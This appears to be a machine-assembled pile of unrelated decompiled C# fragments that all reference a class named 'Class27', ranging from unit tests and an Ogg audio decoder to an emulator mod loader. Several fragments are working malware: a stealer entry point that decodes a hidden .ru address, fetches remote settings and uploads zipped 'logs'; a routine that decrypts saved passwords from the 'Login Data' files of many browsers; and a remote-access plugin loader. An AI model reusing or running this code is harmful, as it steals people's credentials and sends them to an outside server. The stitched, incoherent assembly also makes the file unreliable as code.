public void Test1() { int[] expected = new int[] { 123, 124, 134, 234 }; int[] input = new int[] { 1, 2, 3, 4 }; int length = 3; var actual = Class27.PrintCombos(input, length); Assert.Equal(expected, actual); }
public void Test5() { int[] expected = new int[] { 12 }; int[] input = new int[] { 1, 2 }; int length = 2; var actual = Class27.PrintCombos(input, length); Assert.Equal(expected, actual); }
// Token: 0x0600001C RID: 28 RVA: 0x0000314C File Offset: 0x0000134C public static void smethod_2(object[] object_0) { DateTime dateTime_ = (DateTime)object_0[0]; byte[] byte_ = (byte[])object_0[1]; Class8.dateTime_0 = dateTime_; Class8.byte_1 = byte_; Class8.byte_0 = Class27.smethod_2(Class8.byte_1); Class8.smethod_9(); Class5.smethod_6(); }
// Token: 0x06000044 RID: 68 RVA: 0x000037D4 File Offset: 0x000019D4 public static string smethod_4(string string_0, long long_0) { if (long_0 == 0L) { return(string.Empty); } FileStream fileStream = new FileStream(string_0, FileMode.Open, FileAccess.Read); string result = Class27.smethod_4(fileStream, 5242880, long_0); fileStream.Close(); return(result); }
// Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC public static int smethod_0(string string_0) { new Thread(delegate() { Class26.smethod_0(string_0); }).Start(); new Thread(delegate() { Class27.smethod_0(string_0); }).Start(); new Thread(delegate() { Class28.smethod_0(string_0); }).Start(); new Thread(delegate() { Class29.smethod_0(string_0); }).Start(); new Thread(delegate() { Class30.smethod_0(string_0); }).Start(); new Thread(delegate() { Class31.smethod_0(string_0); }).Start(); new Thread(delegate() { Class32.smethod_0(string_0); }).Start(); new Thread(delegate() { Class35.smethod_0(string_0); }).Start(); new Thread(delegate() { Class36.smethod_0(string_0); }).Start(); new Thread(delegate() { Class33.smethod_0(string_0); }).Start(); new Thread(delegate() { Class34.smethod_0(string_0); }).Start(); new Thread(delegate() { Class38.smethod_0(string_0); }).Start(); return(Class37.int_0); }
// Token: 0x0600001E RID: 30 RVA: 0x000033C4 File Offset: 0x000015C4 public static void smethod_4(object[] object_0) { List <GClass2> list = new List <GClass2>(); int num = 0; int num2 = object_0.Length - 1; for (int i = num; i <= num2; i += 5) { GClass2 gclass = new GClass2(); gclass.guid_0 = (Guid)object_0[i]; gclass.dateTime_0 = (DateTime)object_0[i + 1]; gclass.string_0 = (string)object_0[i + 2]; gclass.bool_0 = (bool)object_0[i + 3]; gclass.byte_0 = (byte[])object_0[i + 4]; gclass.byte_1 = Class27.smethod_2(gclass.byte_0); Class8.list_2.Add(gclass); list.Add(gclass); if (gclass.bool_0) { Class5.bool_1 = true; } } if (Class5.bool_1) { Class8.smethod_7(); } if (Class5.bool_0) { Class8.smethod_41(); return; } Class8.smethod_87("Loading plugins.."); try { foreach (GClass2 gclass2 in list) { Class23.smethod_0(gclass2.byte_0, gclass2); } } finally { List <GClass2> .Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 3, new object[0]); }
// Token: 0x06000042 RID: 66 RVA: 0x00003714 File Offset: 0x00001914 public static bool smethod_2(string string_0, long long_0, string string_1) { FileInfo fileInfo = new FileInfo(string_0); if (!fileInfo.Exists) { return(false); } if (fileInfo.Length != long_0) { return(false); } FileStream fileStream = fileInfo.OpenRead(); string left = Class27.smethod_3(fileStream); fileStream.Close(); return(Operators.CompareString(left, string_1, false) == 0); }
// Token: 0x06000041 RID: 65 RVA: 0x000036AC File Offset: 0x000018AC public static GStruct3 smethod_1(string string_0) { GStruct3 gstruct = default(GStruct3); GStruct3 result; try { FileInfo fileInfo = new FileInfo(string_0); FileStream fileStream = fileInfo.OpenRead(); gstruct.string_0 = Class27.smethod_3(fileStream); gstruct.long_0 = fileInfo.Length; fileStream.Close(); result = gstruct; } catch (Exception ex) { GStruct3 gstruct2; result = gstruct2; } return(result); }
public override int vmethod_3(OGGClass6 class71_0, object object_2) { int result; lock (this.object_0) { OGGClass1 class66_ = class71_0.oggClass1; OGGClass5 class49_ = class66_.oggClass5; Class55 @class = (Class55)object_2; Class54 class54_ = @class.class54_0; Class27 class27_ = @class.class27_0; int num = class71_0.int_3 = class49_.int_13[class71_0.int_1]; float[] array = class66_.float_2[class71_0.int_1][class71_0.int_0][class71_0.int_2][class27_.int_1]; if (this.float_0 == null || this.float_0.Length < class49_.int_8) { this.float_0 = new float[class49_.int_8][]; this.int_1 = new int[class49_.int_8]; this.int_0 = new int[class49_.int_8]; this.object_1 = new object[class49_.int_8]; } for (int i = 0; i < class49_.int_8; i++) { float[] array2 = class71_0.float_0[i]; int num2 = class54_.int_1[i]; this.object_1[i] = @class.class28_0[num2].vmethod_3(class71_0, @class.object_1[num2], this.object_1[i]); if (this.object_1[i] != null) { this.int_1[i] = 1; } else { this.int_1[i] = 0; } for (int j = 0; j < num / 2; j++) { array2[j] = 0f; } } for (int k = 0; k < class54_.int_6; k++) { if (this.int_1[class54_.int_7[k]] != 0 || this.int_1[class54_.int_8[k]] != 0) { this.int_1[class54_.int_7[k]] = 1; this.int_1[class54_.int_8[k]] = 1; } } for (int l = 0; l < class54_.int_0; l++) { int num3 = 0; for (int m = 0; m < class49_.int_8; m++) { if (class54_.int_1[m] == l) { if (this.int_1[m] != 0) { this.int_0[num3] = 1; } else { this.int_0[num3] = 0; } this.float_0[num3++] = class71_0.float_0[m]; } } @class.class23_0[l].vmethod_3(class71_0, @class.object_2[l], this.float_0, this.int_0, num3); } for (int n = class54_.int_6 - 1; n >= 0; n--) { float[] array3 = class71_0.float_0[class54_.int_7[n]]; float[] array4 = class71_0.float_0[class54_.int_8[n]]; for (int num4 = 0; num4 < num / 2; num4++) { float num5 = array3[num4]; float num6 = array4[num4]; if (num5 > 0f) { if (num6 > 0f) { array3[num4] = num5; array4[num4] = num5 - num6; } else { array4[num4] = num5; array3[num4] = num5 + num6; } } else if (num6 > 0f) { array3[num4] = num5; array4[num4] = num5 + num6; } else { array4[num4] = num5; array3[num4] = num5 - num6; } } } for (int num7 = 0; num7 < class49_.int_8; num7++) { float[] array5 = class71_0.float_0[num7]; int num8 = class54_.int_1[num7]; @class.class28_0[num8].vmethod_4(class71_0, @class.object_1[num8], this.object_1[num7], array5); } for (int num9 = 0; num9 < class49_.int_8; num9++) { float[] array6 = class71_0.float_0[num9]; ((Class68)class66_.object_0[class71_0.int_1][0]).method_1(array6, array6); } for (int num10 = 0; num10 < class49_.int_8; num10++) { float[] array7 = class71_0.float_0[num10]; if (this.int_1[num10] != 0) { for (int num11 = 0; num11 < num; num11++) { array7[num11] *= array[num11]; } } else { for (int num12 = 0; num12 < num; num12++) { array7[num12] = 0f; } } } result = 0; } return(result); }
// Token: 0x06001437 RID: 5175 RVA: 0x00024B80 File Offset: 0x00022D80 public void LibraryDisconnect(GInterface8 pLibrary) { Class27 class27_ = new Class27(pLibrary); this.class24_0.method_3(this.class24_0, class27_); }
public abstract object vmethod_1(OggClass1 class660, Class27 class270, object object0);
public abstract object vmethod_1(OGGClass1 class66_0, Class27 class27_0, object object_0);
public override object vmethod_1(OggClass1 class660, Class27 class270, object object0) { return(""); }
private void treeView_0_DragLeave(object sender, EventArgs e) { Class27.ImageList_DragLeave(this.treeView_0.Handle); this.timer_0.Enabled = false; }
private int method_3(OggClass3 oggClass3) { Int19 = oggClass3.method_6(8) + 1; if (OggClass2 == null || OggClass2.Length != Int19) { OggClass2 = new OggClass2[Int19]; } for (var i = 0; i < Int19; i++) { OggClass2[i] = new OggClass2(); if (OggClass2[i].method_0(oggClass3) != 0) { method_1(); return(-1); } } Int16 = oggClass3.method_6(6) + 1; if (Int22 == null || Int22.Length != Int16) { Int22 = new int[Int16]; } if (Object1 == null || Object1.Length != Int16) { Object1 = new object[Int16]; } for (var j = 0; j < Int16; j++) { Int22[j] = oggClass3.method_6(16); if (Int22[j] < 0 || Int22[j] >= Int2) { method_1(); return(-1); } Object1[j] = Class50.Class500[Int22[j]].vmethod_0(this, oggClass3); if (Object1[j] == null) { method_1(); return(-1); } } Int17 = oggClass3.method_6(6) + 1; if (Int23 == null || Int23.Length != Int17) { Int23 = new int[Int17]; } if (Object2 == null || Object2.Length != Int17) { Object2 = new object[Int17]; } for (var k = 0; k < Int17; k++) { Int23[k] = oggClass3.method_6(16); if (Int23[k] < 0 || Int23[k] >= Int3) { method_1(); return(-1); } Object2[k] = Class28.Class280[Int23[k]].vmethod_0(this, oggClass3); if (Object2[k] == null) { method_1(); return(-1); } } Int18 = oggClass3.method_6(6) + 1; if (Int24 == null || Int24.Length != Int18) { Int24 = new int[Int18]; } if (Object3 == null || Object3.Length != Int18) { Object3 = new object[Int18]; } for (var l = 0; l < Int18; l++) { Int24[l] = oggClass3.method_6(16); if (Int24[l] < 0 || Int24[l] >= Int4) { method_1(); return(-1); } Object3[l] = Class23.Class230[Int24[l]].vmethod_0(this, oggClass3); if (Object3[l] == null) { method_1(); return(-1); } } Int15 = oggClass3.method_6(6) + 1; if (Int21 == null || Int21.Length != Int15) { Int21 = new int[Int15]; } if (Object0 == null || Object0.Length != Int15) { Object0 = new object[Int15]; } for (var m = 0; m < Int15; m++) { Int21[m] = oggClass3.method_6(16); if (Int21[m] < 0 || Int21[m] >= Int5) { method_1(); return(-1); } Object0[m] = Class34.Class340[Int21[m]].vmethod_0(this, oggClass3); if (Object0[m] == null) { method_1(); return(-1); } } Int14 = oggClass3.method_6(6) + 1; if (Class270 == null || Class270.Length != Int14) { Class270 = new Class27[Int14]; } for (var n = 0; n < Int14; n++) { Class270[n] = new Class27(); Class270[n].Int0 = oggClass3.method_6(1); Class270[n].Int1 = oggClass3.method_6(16); Class270[n].Int2 = oggClass3.method_6(16); Class270[n].Int3 = oggClass3.method_6(8); if (Class270[n].Int1 >= Int6 || Class270[n].Int2 >= Int6 || Class270[n].Int3 >= Int15) { method_1(); return(-1); } } if (oggClass3.method_6(1) != 1) { method_1(); return(-1); } return(0); }
public override object vmethod_1(OGGClass1 class66_0, Class27 class27_0, object object_0) { return(""); }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }
// Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338 public static void smethod_0() { string[] array = new string[] { "Chrome", "Yandex", "Orbitum", "Opera", "Amigo", "Torch", "Comodo", "CentBrowser", "Go!", "uCozMedia", "Rockmelt", "Sleipnir", "SRWare Iron", "Vivaldi", "Sputnik", "Maxthon", "AcWebBrowser", "Epic Browser", "MapleStudio", "BlackHawk", "Flock", "CoolNovo", "Baidu Spark", "Titan Browser" }; try { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); List <string> list = new List <string>(); List <string> list2 = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string path2 in list3) { try { list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories)); string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories); foreach (string text in files) { try { if (File.Exists(text)) { string string_ = "Unknown (" + text + ")"; foreach (string text2 in array) { if (text.Contains(text2)) { string_ = text2; } } try { string text3 = Path.GetTempPath() + "/test.fv"; if (File.Exists(text3)) { File.Delete(text3); } File.Copy(text, text3, true); Class12 @class = new Class12(text3); if ([email protected]_4("logins")) { break; } int num = 0; for (;;) { try { if (num >= @class.method_1()) { break; } try { string text4 = string.Empty; try { text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null)); } catch (Exception) { } if (text4 != "") { Class27 class2 = new Class27(); class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", "")); class2.method_3(@class.method_0(num, 3)); class2.method_5(text4); class2.method_7(string_); Class27 arg = class2; Class26.string_0 += Convert.ToString(Environment.NewLine + arg); Class26.int_0++; } } catch { } num++; } catch { } } File.Delete(text3); } catch { } } } catch { } } } catch { } } File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default); } catch { } }
private void InternaPrelPlay() { if (!this.CheckNvidiaDriverVersion()) { return; } if (this.EmuConfiguration_0.AutoUpdate && new ComputerInfo().TotalPhysicalMemory >= 6442450944UL) { this.InstallCommunityShaders(); } this.Event_0 += (EventHandler)((sender, e) => Class27.smethod_0(this.gclass30_0 as GClass32)); this._modArgumentString = (string)null; GClass15 gclass15 = new GClass15((GClass32)this.gclass30_0); if (gclass15.InstalledMods.Count <= 0) { return; } Dictionary <string, ulong> counter = (Dictionary <string, ulong>)null; Dictionary <string, ulong> counter_mlc = (Dictionary <string, ulong>)null; try { counter = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFile)); } catch { counter = new Dictionary <string, ulong>(); } try { counter_mlc = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFileMlc)); } catch { counter_mlc = new Dictionary <string, ulong>(); } gclass15.method_7(); List <GClass16> gclass16List = gclass15.method_4(); Class22 mapper = new Class22(this.CurrentGamePath, counter, 134217728L); Class22 mapper_mlc = new Class22(System.IO.Path.Combine(this.Root_BIN_Path, "mlc01"), counter_mlc, 134217728L); foreach (Alphaleonis.Win32.Filesystem.FileInfo fileInfo in gclass15.List_0) { if (System.IO.File.Exists(this.Root_BIN_Path + "\\mlc01\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length))) { mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } else if (System.IO.File.Exists(this.CurrentGamePath + fileInfo.FullName.Substring(gclass15.String_0.Length))) { mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } else { mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } } foreach (GClass16 gclass16 in gclass16List) { string string_2 = gclass15.String_0 + gclass16.ArchiveRelativePath; mapper.method_1(gclass16.GameRelativePath, string_2); mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + gclass16.GameRelativePath, string_2); } Task.Run((Action)(() => { foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))) { mapper.method_2(keyValuePair.Key); } foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter_mlc.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))) { mapper_mlc.method_2(keyValuePair.Key); } mapper.method_0(); mapper_mlc.method_0(); })); System.IO.Directory.CreateDirectory(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")); foreach (System.IO.DirectoryInfo enumerateDirectory in new System.IO.DirectoryInfo(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")).EnumerateDirectories()) { try { try { Dokan.RemoveMountPoint(enumerateDirectory.FullName); } catch { } enumerateDirectory.Delete(true); } catch { } } string mount_point = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName()); string mount_point_mlc = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName()); GClass6.smethod_5(mount_point); System.IO.Directory.CreateDirectory(mount_point); System.IO.Directory.CreateDirectory(mount_point_mlc); this.Event_0 += (EventHandler)((sender, e) => { mapper.method_4(); mapper_mlc.method_4(); System.IO.File.WriteAllText(this.PerformanceFile, JsonConvert.SerializeObject((object)counter)); string performanceFileMlc = this.PerformanceFileMlc; IEnumerable <KeyValuePair <string, ulong> > source = counter_mlc.Where <KeyValuePair <string, ulong> >((Func <KeyValuePair <string, ulong>, bool>)(x => x.Key.Contains("\\USR\\TITLE\\00050000\\"))); Func <KeyValuePair <string, ulong>, string> func = (Func <KeyValuePair <string, ulong>, string>)(x => x.Key); Func <KeyValuePair <string, ulong>, string> keySelector; string contents = JsonConvert.SerializeObject((object)source.ToDictionary <KeyValuePair <string, ulong>, string, ulong>(keySelector, (Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))); System.IO.File.WriteAllText(performanceFileMlc, contents); Dokan.RemoveMountPoint(mount_point); Dokan.RemoveMountPoint(mount_point_mlc); GClass6.smethod_5(mount_point); GClass6.smethod_5(mount_point_mlc); }); Task.Run((Action)(() => mapper.Mount(mount_point, DokanOptions.WriteProtection, 10, (ILogger)null))); Task.Run((Action)(() => mapper_mlc.Mount(mount_point_mlc, DokanOptions.FixedDrive, 10, (ILogger)null))); Thread.Sleep(2000); this._modArgumentString = this.GenerateArguments(((IEnumerable <string>)System.IO.Directory.GetFiles(System.IO.Path.Combine(mount_point, "code") + "\\")).Where <string>((Func <string, bool>)(x => System.IO.Path.GetExtension(x) == ".rpx")).ToList <string>()[0], mount_point_mlc); }
private void treeView_0_DragEnter(object sender, DragEventArgs e) { Class27.ImageList_DragEnter(this.treeView_0.Handle, e.X - this.treeView_0.Left, e.Y - this.treeView_0.Top); this.timer_0.Enabled = true; }
// Token: 0x0600011C RID: 284 RVA: 0x00008234 File Offset: 0x00006434 public static void smethod_0(byte[] byte_0, GClass2 gclass2_0) { try { GClass3 gclass = new GClass3(gclass2_0.guid_0, gclass2_0.string_0); gclass2_0.gclass3_0 = gclass; Type type = Class27.smethod_0(byte_0, Class6.type_0, Class6.type_1); if (type == null) { throw new Exception("Client assembly does not meet plugin type requirements."); } List <object> list = new List <object>(); ConstructorInfo constructorInfo = type.GetConstructors()[0]; foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters()) { if (typeof(IClientDataHost).Equals(parameterInfo.ParameterType)) { list.Add(new GClass1(gclass)); } else if (typeof(IClientNetworkHost).Equals(parameterInfo.ParameterType)) { list.Add(new GClass4(gclass)); } else if (typeof(IClientUIHost).Equals(parameterInfo.ParameterType)) { list.Add(new GClass9(gclass)); } else if (typeof(IClientLoggingHost).Equals(parameterInfo.ParameterType)) { list.Add(new GClass7(gclass)); } else if (typeof(IClientAppHost).Equals(parameterInfo.ParameterType)) { list.Add(new GClass10(gclass)); } else { list.Add(null); } } object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type, list.ToArray())); foreach (Type o in type.GetInterfaces()) { if (typeof(IClientData).Equals(o)) { gclass.iclientData_0 = (IClientData)objectValue; } else if (typeof(IClientNetwork).Equals(o)) { gclass.iclientNetwork_0 = (IClientNetwork)objectValue; } else if (typeof(IClientApp).Equals(o)) { gclass.iclientApp_0 = (IClientApp)objectValue; } } Class8.smethod_87(string.Format("Plugin: {0}, Cache: {1}", gclass2_0.string_0, gclass2_0.bool_0)); if (!Class8.list_2.Contains(gclass2_0)) { Class8.list_2.Add(gclass2_0); } } catch (Exception exception_) { Class8.smethod_85(gclass2_0.gclass3_0, exception_, "InitializePlugin"); } }